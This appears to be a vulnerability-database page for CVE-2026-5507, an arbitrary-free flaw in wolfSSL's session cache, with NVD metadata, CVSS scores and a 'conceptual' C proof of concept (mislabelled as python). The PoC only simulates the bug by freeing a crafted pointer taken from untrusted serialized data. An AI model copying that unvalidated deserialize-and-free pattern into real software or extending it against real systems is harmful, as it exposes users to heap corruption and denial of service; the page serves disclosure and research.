Security Vulnerability Report
中文
CVE-2026-5507 CVSS 4.0 MEDIUM

CVE-2026-5507

Published: 2026-04-09 23:17:02
Last Modified: 2026-04-29 14:05:22

Description

When restoring a session from cache, a pointer from the serialized session data is used in a free operation without validation. An attacker who can poison the session cache could trigger an arbitrary free. Exploitation requires the ability to inject a crafted session into the cache and for the application to call specific session restore APIs.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (受影响版本请参考官方PR #10088)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-5507 (wolfSSL Session Cache Arbitrary Free) * This PoC demonstrates the logic flow required to trigger the vulnerability. * It requires the ability to manipulate the session cache. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Mock structure to represent internal wolfSSL session data typedef struct WOLFSSL_SESSION { int sessionID; char* data_ptr; // The pointer that will be freed without validation // ... other fields ... } WOLFSSL_SESSION; // Simulate the vulnerable function: restoring session from cache void vulnerable_restore_session(char* serialized_data) { // Allocate memory for the session object WOLFSSL_SESSION* session = (WOLFSSL_SESSION*)malloc(sizeof(WOLFSSL_SESSION)); // Simulate deserialization: directly assigning the pointer from untrusted input // In the real vulnerability, validation of 'data_ptr' is missing. memcpy(session, serialized_data, sizeof(WOLFSSL_SESSION)); printf("[+] Restoring session ID: %d\n", session->sessionID); printf("[+] Preparing to free data pointer: %p\n", session->data_ptr); // VULNERABILITY: Free operation is called on a potentially arbitrary pointer // If data_ptr is crafted (e.g., 0xdeadbeef), this causes a crash or heap corruption. if (session->data_ptr != NULL) { free(session->data_ptr); } free(session); } int main() { printf("[!] CVE-2026-5507 PoC Simulation\n"); // 1. Attacker constructs malicious serialized cache data // We craft a fake session where 'data_ptr' points to an arbitrary address. char malicious_cache_data[sizeof(WOLFSSL_SESSION)]; WOLFSSL_SESSION fake_session; fake_session.sessionID = 99999; // Set an arbitrary address to demonstrate the arbitrary free fake_session.data_ptr = (char*)0x41414141; memcpy(malicious_cache_data, &fake_session, sizeof(WOLFSSL_SESSION)); printf("[*] Injecting malicious session into cache...\n"); // 2. Trigger the vulnerability by calling the restore API // This simulates the application restoring the poisoned session. vulnerable_restore_session(malicious_cache_data); printf("[-] Exploit triggered. Application may crash due to invalid free.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5507", "sourceIdentifier": "[email protected]", "published": "2026-04-09T23:17:01.543", "lastModified": "2026-04-29T14:05:22.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When restoring a session from cache, a pointer from the serialized session data is used in a free operation without validation. An attacker who can poison the session cache could trigger an arbitrary free. Exploitation requires the ability to inject a crafted session into the cache and for the application to call specific session restore APIs."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:H", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.3, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.9.0", "matchCriteriaId": "DA5C710C-46E8-470C-83AF-D33D1A40512D"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10088", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}